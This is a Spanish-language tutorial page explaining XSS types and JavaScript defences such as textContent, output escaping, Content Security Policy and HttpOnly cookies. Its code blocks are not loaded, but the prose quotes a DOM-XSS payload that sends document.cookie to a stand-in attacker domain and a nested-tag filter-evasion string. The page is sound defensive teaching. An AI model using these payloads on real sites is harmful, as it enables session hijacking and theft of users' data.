Command Palette

Search for a command to run...

XSS (Cross-Site Scripting): Prevención y Defensa en JavaScript

Aprende qué es XSS, cómo funcionan los ataques de inyección de scripts y cómo proteger tus aplicaciones web contra esta vulnerabilidad crítica de seguridad.

Lectura: 15 min
Nivel: Intermedio

TL;DR - Resumen rápido

  • XSS permite inyectar scripts maliciosos para robar cookies, hacer phishing o capturar pulsaciones de teclas
  • Existen tres tipos: reflejado (URL), almacenado (base de datos) y basado en DOM (cliente)
  • Nunca uses innerHTML con datos no confiables, siempre usa textContent o createElement
  • Valida inputs con whitelist (define qué caracteres son permitidos) no blacklist
  • Implementa Content Security Policy y cookies HttpOnly como defensa en profundidad

Introducción a XSS

Cross-Site Scripting (XSS) es una de las vulnerabilidades más comunes y peligrosas en aplicaciones web. Permite a atacantes inyectar scripts maliciosos en páginas web que son vistas por otros usuarios. Cuando un usuario visita una página afectada, el navegador ejecuta el script inyectado con los privilegios de la página comprometida, permitiendo robar cookies, sesiones, redirigir a usuarios o realizar acciones en su nombre.

XSS es particularmente peligroso porque ataca a los usuarios de tu aplicación, no necesariamente al servidor. Un atacante puede explotar esta vulnerabilidad para robar credenciales, realizar transacciones no autorizadas, o propagar malware. La prevención de XSS debe ser una prioridad en cualquier aplicación web moderna.

Impacto de XSS

Según el OWASP Top 10, XSS sigue siendo una de las vulnerabilidades más críticas. Los ataques XSS pueden resultar en robo de datos, secuestro de sesiones, defacement de sitios y propagación de malware. La prevención requiere un enfoque de defensa en profundidad.

Tipos de Ataques XSS

Los ataques XSS se clasifican en tres categorías principales según cómo se inyecta y ejecuta el código malicioso. Entender cada tipo es fundamental para implementar las defensas adecuadas.

  • <strong>XSS Reflejado</strong>: El script malicioso se refleja en la respuesta del servidor, típicamente en parámetros URL
  • <strong>XSS Almacenado</strong>: El script se guarda en el servidor (base de datos, logs) y se ejecuta cada vez que se carga la página
  • <strong>XSS Basado en DOM</strong>: El script se ejecuta manipulando el DOM del navegador, sin que el servidor participe en el ataque

XSS Reflejado

El XSS reflejado ocurre cuando una aplicación recibe datos de una solicitud HTTP y los incluye en la respuesta sin validarlos ni escaparlos. Es el tipo más común de XSS y requiere que la víctima haga clic en un enlace malicioso.

xss-reflejado-vulnerable.js
Loading code...

Este código es vulnerable porque toma el parámetro de búsqueda directamente del URL y lo inserta en el DOM usando innerHTML. Un atacante podría crear un enlace como ?search=que ejecutaría JavaScript en el navegador de la víctima. Este es el error más común: nunca uses innerHTML con datos no confiables. Siempre usa textContent o métodos seguros de manipulación del DOM para prevenir que el navegador interprete el contenido como código ejecutable.

XSS Almacenado

El XSS almacenado es el más peligroso porque el script malicioso se guarda permanentemente en el servidor. Cada usuario que visita la página afectada ejecutará el script, lo que permite ataques masivos.

xss-almacenado-vulnerable.js
Loading code...

Este ejemplo muestra un sistema de comentarios vulnerable. Si un usuario envía un comentario con código JavaScript malicioso, ese código se guardará en la base de datos y se ejecutará en el navegador de cualquier usuario que vea los comentarios. El impacto puede ser devastador en aplicaciones con muchos usuarios.

Defensa en Profundidad

Para prevenir XSS almacenado, debes validar y escapar datos tanto en el cliente como en el servidor. La validación del cliente mejora la experiencia de usuario, pero la validación del servidor es obligatoria para la seguridad.

XSS Basado en DOM

El XSS basado en DOM ocurre cuando el script malicioso se ejecuta manipulando el entorno de objetos del documento (DOM) en el navegador. A diferencia de los otros tipos, el servidor nunca ve el payload malicioso, lo que hace difícil de detectar con firewalls de aplicaciones web.

xss-dom-vulnerable.js
Loading code...

El código usa eval() que ejecuta cualquier string como JavaScript. Un atacante puede visitarsitio.com#document.location='atacante.com?c='+document.cookie para robar cookies. También muestra el peligro de setTimeout con strings. El XSS basado en DOM es invisible para el servidor, lo que lo hace difícil de detectar con firewalls de aplicación web tradicionales.

Evitar eval() y similares

Nunca uses eval(), setTimeout() con strings, o Function() con datos no confiables. Estas funciones son puertas de entrada para ataques XSS. Si necesitas ejecutar código dinámico, considera alternativas más seguras como JSON.parse() para datos JSON.

Impacto Real: Ejemplos de Ataques

Para entender la gravedad de XSS, es fundamental ver ejemplos concretos de cómo los atacantes explotan estas vulnerabilidades. Los siguientes ejemplos son educativos y muestran técnicas reales utilizadas en ataques XSS. Nunca uses este conocimiento con intenciones maliciosas.

Robo de Cookies y Secuestro de Sesión

El robo de cookies es uno de los ataques XSS más comunes. Un atacante inyecta código JavaScript que lee document.cookie y envía esas cookies a su servidor. Con las cookies de sesión, el atacante puede hacerse pasar por la víctima sin necesitar sus credenciales.

xss-robo-cookies.js
Loading code...

Este ataque es devastador porque el atacante obtiene acceso completo a la sesión de la víctima. La defensa principal es usar cookies HttpOnly, que no son accesibles desde JavaScript, y Content Security Policy para bloquear la carga de recursos desde dominios no autorizados.

Phishing mediante XSS

Los atacantes pueden usar XSS para reemplazar completamente el contenido de una página legítima con un formulario de login falso. Como la URL es la del sitio real, los usuarios confían y envían sus credenciales directamente al atacante.

xss-phishing-ataque.js
Loading code...

Este tipo de ataque es particularmente efectivo porque ocurre en el dominio legítimo. Los usuarios ven la URL correcta en la barra de direcciones y confían en el formulario. La prevención incluye validación estricta de inputs, CSP, y autenticación multifactor que dificulta el uso de credenciales robadas.

Keylogger: Captura de Pulsaciones

Un keylogger inyectado mediante XSS puede capturar todas las pulsaciones de teclas del usuario, incluyendo contraseñas, números de tarjetas de crédito y mensajes privados. El código se ejecuta silenciosamente en segundo plano mientras el usuario navega normalmente.

xss-keylogger-ataque.js
Loading code...

Los keyloggers son especialmente peligrosos porque son invisibles para el usuario. La única forma de prevenir esto es bloqueando la inyección de scripts desde el principio mediante validación de inputs, uso de APIs seguras, y una política estricta de Content Security Policy.

Prevención de XSS

La prevención de XSS requiere un enfoque sistemático que combine validación de inputs, escaping de outputs y el uso de APIs seguras. No existe una sola solución mágica; necesitas implementar múltiples capas de defensa.

  • <strong>Validar inputs</strong>: Verifica que los datos cumplan con el formato esperado antes de procesarlos
  • <strong>Escapar outputs</strong>: Convierte caracteres especiales a sus entidades HTML correspondientes
  • <strong>Usar APIs seguras</strong>: Prefiere textContent sobre innerHTML, y métodos seguros de manipulación del DOM
  • <strong>Content Security Policy</strong>: Implementa CSP headers para restringir fuentes de scripts permitidas
  • <strong>Sanitizar HTML</strong>: Usa librerías como DOMPurify para limpiar HTML antes de insertarlo

Validación de Inputs

La validación de inputs es la primera línea de defensa. Debes verificar que todos los datos entrantes cumplan con el formato esperado antes de procesarlos o almacenarlos.

validacion-inputs-segura.js
Loading code...

La validación define exactamente qué es válido usando expresiones regulares. Un nombre de usuario solo puede contener letras, números, guiones y guiones bajos entre 3 y 20 caracteres. Si un input contiene caracteres peligrosos como < o >, la validación falla inmediatamente. Es más seguro rechazar que intentar "limpiar" el input, ya que los atacantes pueden evadir filtros de limpieza.

Validación Estricta

Usa validación de lista blanca (whitelist) en lugar de lista negra. Define exactamente qué caracteres son permitidos y rechaza todo lo demás. Es más seguro y fácil de mantener que intentar bloquear patrones maliciosos específicos.

Escaping de Datos

El escaping convierte caracteres especiales a sus entidades HTML correspondientes, previniendo que el navegador los interprete como código. Es fundamental cuando insertas datos no confiables en el DOM.

escaping-html-seguro.js
Loading code...

Esta función convierte caracteres como menor que (<), mayor que (>) y comillas (") en sus entidades HTML. Cuando escapas un string como <script>alert('XSS')</script>, el navegador lo muestra como texto literal en lugar de ejecutarlo como código. El escaping es fundamental cuando necesitas preservar formato HTML pero insertar datos no confiables.

Escaping Contextual

El escaping debe ser contextual: HTML escaping para contenido HTML, JavaScript escaping para strings en JavaScript, URL encoding para parámetros URL, y CSS escaping para estilos. Usar el tipo incorrecto de escaping puede no proteger contra XSS.

Uso de APIs Seguras

JavaScript moderno ofrece APIs seguras que previnen XSS automáticamente. Usar estas APIs es la forma más efectiva de proteger tu aplicación.

apis-seguras-dom.js
Loading code...

Este ejemplo muestra la diferencia entre innerHTML (vulnerable) y textContent (seguro). textContent automáticamente escapa cualquier contenido HTML, convirtiéndolo en texto plano. Siempre que necesites insertar contenido de texto, usa textContent en lugar de innerHTML.

Principio de Menor Privilegio

Usa la API menos potente que resuelva tu problema. Si solo necesitas insertar texto, usa textContent. Si necesitas crear elementos, usa createElement(). Solo usa innerHTML cuando absolutamente necesario y con HTML previamente sanitizado.

Errores Comunes

Estos son los errores más frecuentes que cometen los desarrolladores al intentar prevenir XSS, y cómo evitarlos.

errores-comunes-xss.js
Loading code...

El código muestra tres errores críticos: remover tags con expresiones regulares es ineficaz (los atacantes usan <scr<script>ipt> para evadir el filtro), usar lista negra es fácil de evadir con codificación (&lt;, %3C), y usar innerHTML incluso con contenido "limpiado" es peligroso. La solución correcta es validación whitelist estricta y usar textContent en lugar de innerHTML.

No Confíes en Sanitización Manual

No intentes implementar tu propia función de sanitización HTML. Es extremadamente difícil hacerlo correctamente debido a la complejidad de HTML y las técnicas de evasión de XSS. Usa librerías probadas como DOMPurify o frameworks que tienen escaping automático.

Resumen: Prevención de XSS

Conceptos principales:

  • XSS permite robar cookies, hacer phishing y capturar pulsaciones mediante scripts inyectados
  • XSS reflejado viene en la URL y requiere que la víctima haga clic en un enlace
  • XSS almacenado persiste en el servidor y afecta a todos los usuarios
  • XSS basado en DOM manipula el navegador sin pasar por el servidor
  • innerHTML con datos no confiables es la causa más común de vulnerabilidades XSS

Mejores prácticas:

  • Usa textContent o createElement, nunca innerHTML con datos del usuario
  • Valida inputs con whitelist: define exactamente qué caracteres son válidos
  • Escapa outputs según el contexto (HTML, atributos, JavaScript, URL)
  • Implementa Content Security Policy para bloquear scripts no autorizados
  • Usa cookies HttpOnly y Secure para proteger sesiones contra robo